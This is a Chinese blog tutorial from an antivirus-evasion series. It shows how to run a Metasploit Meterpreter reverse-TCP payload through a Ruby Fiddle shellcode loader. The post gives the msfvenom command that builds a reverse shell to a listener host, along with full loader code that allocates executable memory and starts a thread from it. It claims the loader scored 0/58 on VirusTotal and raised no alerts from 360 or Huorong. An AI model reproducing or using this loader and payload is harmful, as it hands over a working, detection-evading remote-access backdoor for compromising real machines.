【免杀篇】远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

0x01 Ruby加载shellcode介绍

0x02 Ruby嵌入shellcode(VT查杀率0/58)


                                                                                      免杀能力一览表

【免杀篇】远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)_第1张图片

 

0x01 Ruby加载shellcode介绍

Ruby做免杀的不是很多,目前好像只遇到专题5中介绍的veil使用了ruby编译exe来进行免杀,目前也没发现基于ruby的shellcode加载器,只找到了一种ruby嵌入shellcode的代码。

 

0x02 Ruby嵌入shellcode(VT查杀率0/58)

先用Msfvenom生成基于ruby的shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp  LHOST=10.211.55.2 LPORT=3333 -f ruby

ruby源码:

require 'fiddle'
require 'fiddle/import'
require 'fiddle/types'


shellcode = ""

include Fiddle

kernel32 = Fiddle.dlopen('kernel32')

ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, shellcode.size, 0x3000, 0x40)

Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)

buf = Fiddle::Pointer[shellcode]

Function.new(kernel32['RtlMoveMemory'], [4, 4, 4],4).call(ptr, buf, shellcode.size)

thread = Function.new(kernel32['CreateThread'],[4,4,4,4,4,4], 4).call(0, 0, ptr, 0, 0, 0)

Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, ‐1)

将msfvenom生成的shellcode稍微转换后,写入代码中。

【免杀篇】远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)_第2张图片

使用命令ruby shell.rb执行,360和火绒没有异常行为报警。

【免杀篇】远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)_第3张图片

msf中设置payloadwindows/x64/meterpreter/reverse_tcp进行监听

【免杀篇】远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)_第4张图片

virustotal.com中shell.rb文件的查杀率为0/58

【免杀篇】远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)_第5张图片

 

参考链接:

payload免杀:https://www.cnblogs.com/LyShark/p/11331476.html

基于Ruby内存加载shellcode:https://micro8.gitbook.io/micro8/contents-1/61-70/68-ji-yu-ruby-nei-cun-jia-zai-shellcode-di-yi-ji

 


虽然我们生活在阴沟里,但依然有人仰望星空!


 

你可能感兴趣的:(免杀篇)